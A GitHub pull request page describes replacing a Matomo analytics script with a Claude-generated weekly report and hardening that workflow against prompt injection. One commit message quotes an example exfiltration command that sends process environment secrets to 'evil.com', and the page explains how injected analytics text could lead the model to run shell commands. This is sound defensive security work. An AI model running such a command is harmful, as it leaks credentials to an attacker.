Skip to content

Replace Matomo digest script with Claude report#154

Merged
wolovim merged 6 commits intoethereum:mainfrom
dionysuzx:llm-analytics-report
Mar 18, 2026
Merged

Replace Matomo digest script with Claude report#154
wolovim merged 6 commits intoethereum:mainfrom
dionysuzx:llm-analytics-report

Conversation

@dionysuzx
Copy link
Copy Markdown
Collaborator

@dionysuzx dionysuzx commented Mar 5, 2026

How it works

  1. matomo-fetch.sh fetches analytics data from Matomo (12 API queries to named files in /tmp/matomo/)
  2. Claude Code reads the pre-fetched JSON + explores git history (constrained to git commands only) and generates a formatted report
  3. Report is posted to Mattermost (or printed in dry-run mode)

Security model

  • Matomo API token never exposed to LLM — data is pre-fetched by shell script
  • Mattermost webhook never exposed to LLM — posting handled by separate shell script
  • LLM tools restricted to Bash(git:*),Read,Glob,Grep — no network access, no file writes llm only reads off disk, pulled out bash

Costs

using sonnet 4.6 with 15 max turns, this runs weekly; cost should be relatively small.

Test plan

  • Tested via workflow_dispatch with dry_run: true — full report generated successfully
  • Tested with dry_run: false — report posted to Mattermost channel
  • Reviewed by codex-5.4-high/dionysuzx with no regressions found

@dionysuzx dionysuzx force-pushed the llm-analytics-report branch from d001ef8 to 4530c04 Compare March 5, 2026 02:46
Comment thread scripts/matomo-digest-prompt.txt Outdated
@dionysuzx dionysuzx marked this pull request as draft March 5, 2026 19:37
@dionysuzx dionysuzx force-pushed the llm-analytics-report branch 11 times, most recently from bb13d40 to b8a49eb Compare March 10, 2026 01:57
Add --tools flag to whitelist only the intended tools (Bash, Read, Glob,
Grep), preventing the model from reaching for non-approved tools that
would stall the non-interactive CI run.
Add persist-credentials: false to actions/checkout to prevent the
GitHub token from being stored in .git/config, where Claude's git:*
commands could read it.
Add a check that each fetched response is a valid JSON object or array
before checking for API errors. Prevents HTML or other non-JSON responses
(e.g., from proxy/login pages returning HTTP 200) from silently passing
through as valid data.
@dionysuzx dionysuzx force-pushed the llm-analytics-report branch from d09ef2f to 131ff05 Compare March 10, 2026 02:37
@dionysuzx dionysuzx marked this pull request as ready for review March 10, 2026 02:57
@dionysuzx dionysuzx changed the title Replace Matomo digest script with Claude-powered analytics report Replace Matomo digest script with Claude report Mar 13, 2026
Restrict git to read-only subcommands (log, diff, show, shortlog,
rev-parse, branch) — the previous Bash(git:*) pattern allowed git
push/clone/fetch/ls-remote, enabling network egress from a prompt
injection payload embedded in user-controlled analytics fields.

Also sanitize Matomo JSON strings: truncate to 200 chars and collapse
newlines before feeding them to the LLM.
Bash command pattern matching (e.g. Bash(git log *)) cannot prevent
shell metacharacter injection (e.g. "git log; curl evil.com/?k=$(cat
/proc/self/environ)"), so any Bash access is an exfiltration vector.

Pre-fetch git context (full log with commit bodies, recent diffstats,
contributor counts) in a separate workflow step and pass it to Claude
via --add-dir. Claude now has Read/Glob/Grep only — no shell access.
@wolovim wolovim merged commit 0c0ff05 into ethereum:main Mar 18, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants